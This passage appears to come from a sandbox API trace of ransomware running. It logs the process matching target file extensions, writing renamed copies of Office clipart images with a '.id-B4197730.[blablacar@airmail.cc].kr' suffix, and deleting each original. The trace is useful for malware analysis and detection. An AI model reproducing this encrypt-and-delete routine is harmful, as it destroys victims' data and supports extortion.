Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0214.882] lstrlenW (lpString=".jpg") returned 4 [0214.882] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0214.883] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0214.883] lstrlenW (lpString="J0145168.JPG") returned 12 [0214.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0214.884] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=33657) returned 1 [0214.884] CloseHandle (hObject=0x518) returned 1 [0214.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg")) returned 0x220 [0214.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0214.885] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0214.885] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0214.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0214.886] GetLastError () returned 0x0 [0214.886] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x8379, lpOverlapped=0x0) returned 1 [0214.888] WriteFile (in: hFile=0x550, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x8380, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x8380, lpOverlapped=0x0) returned 1 [0214.890] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0214.890] WriteFile (in: hFile=0x550, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0214.890] SetEndOfFile (hFile=0x550) returned 1 [0214.890] CloseHandle (hObject=0x550) returned 1 [0214.890] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0214.890] SetEndOfFile (hFile=0x518) returned 1 [0214.893] CloseHandle (hObject=0x518) returned 1 [0214.894] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.894] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg")) returned 1 [0214.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0214.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0214.895] lstrlenW (lpString=".doc") returned 4 [0214.895] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0214.895] lstrlenW (lpString=".docx") returned 5 [0214.895] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0214.895] lstrlenW (lpString=".pdf") returned 4 [0214.895] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0214.895] lstrlenW (lpString=".xls") returned 4 [0214.895] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0214.895] lstrlenW (lpString=".xlsx") returned 5 [0214.895] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0214.895] lstrlenW (lpString=".ppt") returned 4 [0214.895] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0214.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0214.895] lstrlenW (lpString=".zip") returned 4 [0214.895] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0214.895] lstrlenW (lpString=".rar") returned 4 [0214.895] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0214.895] lstrlenW (lpString=".bz2") returned 4 [0214.895] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0214.895] lstrlenW (lpString=".7z") returned 3 [0214.895] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0214.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0214.895] lstrlenW (lpString=".dbf") returned 4 [0214.895] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0214.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0214.895] lstrlenW (lpString=".1cd") returned 4 [0214.895] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0214.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0214.896] lstrlenW (lpString=".jpg") returned 4 [0214.896] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0214.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0214.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0214.896] lstrlenW (lpString=".doc") returned 4 [0214.896] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0214.896] lstrlenW (lpString=".docx") returned 5 [0214.896] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0214.896] lstrlenW (lpString=".pdf") returned 4 [0214.896] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0214.896] lstrlenW (lpString=".xls") returned 4 [0214.896] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0214.896] lstrlenW (lpString=".xlsx") returned 5 [0214.896] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0214.896] lstrlenW (lpString=".ppt") returned 4 [0214.896] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0214.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0214.896] lstrlenW (lpString=".zip") returned 4 [0214.896] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0214.896] lstrlenW (lpString=".rar") returned 4 [0214.896] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0214.896] lstrlenW (lpString=".bz2") returned 4 [0214.896] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0214.896] lstrlenW (lpString=".7z") returned 3 [0214.896] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0214.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0214.896] lstrlenW (lpString=".dbf") returned 4 [0214.896] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0214.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0214.896] lstrlenW (lpString=".1cd") returned 4 [0214.896] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0214.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0214.897] lstrlenW (lpString=".jpg") returned 4 [0214.897] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0214.897] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0214.897] lstrlenW (lpString="J0145212.JPG") returned 12 [0214.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0214.898] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=61633) returned 1 [0214.898] CloseHandle (hObject=0x518) returned 1 [0214.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg")) returned 0x220 [0214.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0214.898] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0214.898] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0214.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0214.901] GetLastError () returned 0x0 [0214.901] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0xf0c1, lpOverlapped=0x0) returned 1 [0215.210] WriteFile (in: hFile=0x550, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xf0d0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xf0d0, lpOverlapped=0x0) returned 1 [0215.212] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0215.212] WriteFile (in: hFile=0x550, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0215.212] SetEndOfFile (hFile=0x550) returned 1 [0215.212] CloseHandle (hObject=0x550) returned 1 [0215.213] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.213] SetEndOfFile (hFile=0x518) returned 1 [0215.216] CloseHandle (hObject=0x518) returned 1 [0215.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.216] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg")) returned 1 [0215.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0215.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0215.217] lstrlenW (lpString=".doc") returned 4 [0215.217] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0215.217] lstrlenW (lpString=".docx") returned 5 [0215.217] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0215.217] lstrlenW (lpString=".pdf") returned 4 [0215.217] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0215.217] lstrlenW (lpString=".xls") returned 4 [0215.217] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0215.217] lstrlenW (lpString=".xlsx") returned 5 [0215.217] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0215.217] lstrlenW (lpString=".ppt") returned 4 [0215.217] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0215.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0215.218] lstrlenW (lpString=".zip") returned 4 [0215.218] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0215.218] lstrlenW (lpString=".rar") returned 4 [0215.218] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0215.218] lstrlenW (lpString=".bz2") returned 4 [0215.218] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0215.218] lstrlenW (lpString=".7z") returned 3 [0215.218] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0215.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0215.218] lstrlenW (lpString=".dbf") returned 4 [0215.218] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0215.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0215.218] lstrlenW (lpString=".1cd") returned 4 [0215.218] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0215.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0215.218] lstrlenW (lpString=".jpg") returned 4 [0215.218] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0215.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0215.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0215.218] lstrlenW (lpString=".doc") returned 4 [0215.218] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0215.218] lstrlenW (lpString=".docx") returned 5 [0215.218] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0215.218] lstrlenW (lpString=".pdf") returned 4 [0215.218] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0215.218] lstrlenW (lpString=".xls") returned 4 [0215.218] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0215.218] lstrlenW (lpString=".xlsx") returned 5 [0215.218] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0215.218] lstrlenW (lpString=".ppt") returned 4 [0215.218] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0215.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0215.219] lstrlenW (lpString=".zip") returned 4 [0215.219] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0215.219] lstrlenW (lpString=".rar") returned 4 [0215.219] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0215.219] lstrlenW (lpString=".bz2") returned 4 [0215.219] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0215.219] lstrlenW (lpString=".7z") returned 3 [0215.219] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0215.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0215.219] lstrlenW (lpString=".dbf") returned 4 [0215.219] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0215.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0215.219] lstrlenW (lpString=".1cd") returned 4 [0215.219] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0215.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0215.219] lstrlenW (lpString=".jpg") returned 4 [0215.219] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0215.219] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0215.219] lstrlenW (lpString="J0145879.JPG") returned 12 [0215.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0215.220] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=35419) returned 1 [0215.220] CloseHandle (hObject=0x518) returned 1 [0215.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg")) returned 0x220 [0215.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0215.220] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.220] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0215.221] GetLastError () returned 0x0 [0215.221] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x8a5b, lpOverlapped=0x0) returned 1 [0215.226] WriteFile (in: hFile=0x550, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x8a60, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x8a60, lpOverlapped=0x0) returned 1 [0215.228] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0215.228] WriteFile (in: hFile=0x550, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0215.228] SetEndOfFile (hFile=0x550) returned 1 [0215.228] CloseHandle (hObject=0x550) returned 1 [0215.228] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.228] SetEndOfFile (hFile=0x518) returned 1 [0215.231] CloseHandle (hObject=0x518) returned 1 [0215.231] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.232] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg")) returned 1 [0215.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0215.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0215.232] lstrlenW (lpString=".doc") returned 4 [0215.232] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0215.232] lstrlenW (lpString=".docx") returned 5 [0215.232] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0215.233] lstrlenW (lpString=".pdf") returned 4 [0215.233] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0215.233] lstrlenW (lpString=".xls") returned 4 [0215.233] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0215.233] lstrlenW (lpString=".xlsx") returned 5 [0215.233] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0215.233] lstrlenW (lpString=".ppt") returned 4 [0215.233] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0215.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0215.233] lstrlenW (lpString=".zip") returned 4 [0215.233] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0215.233] lstrlenW (lpString=".rar") returned 4 [0215.233] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0215.233] lstrlenW (lpString=".bz2") returned 4 [0215.233] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0215.233] lstrlenW (lpString=".7z") returned 3 [0215.233] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0215.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0215.233] lstrlenW (lpString=".dbf") returned 4 [0215.233] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0215.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0215.233] lstrlenW (lpString=".1cd") returned 4 [0215.233] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0215.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0215.233] lstrlenW (lpString=".jpg") returned 4 [0215.233] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0215.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0215.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0215.233] lstrlenW (lpString=".doc") returned 4 [0215.233] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0215.233] lstrlenW (lpString=".docx") returned 5 [0215.233] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0215.233] lstrlenW (lpString=".pdf") returned 4 [0215.234] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0215.234] lstrlenW (lpString=".xls") returned 4 [0215.234] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0215.234] lstrlenW (lpString=".xlsx") returned 5 [0215.234] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0215.234] lstrlenW (lpString=".ppt") returned 4 [0215.234] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0215.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0215.234] lstrlenW (lpString=".zip") returned 4 [0215.234] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0215.234] lstrlenW (lpString=".rar") returned 4 [0215.234] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0215.234] lstrlenW (lpString=".bz2") returned 4 [0215.234] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0215.234] lstrlenW (lpString=".7z") returned 3 [0215.234] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0215.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0215.234] lstrlenW (lpString=".dbf") returned 4 [0215.234] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0215.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0215.234] lstrlenW (lpString=".1cd") returned 4 [0215.234] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0215.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0215.234] lstrlenW (lpString=".jpg") returned 4 [0215.234] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0215.234] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0215.234] lstrlenW (lpString="J0145895.JPG") returned 12 [0215.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 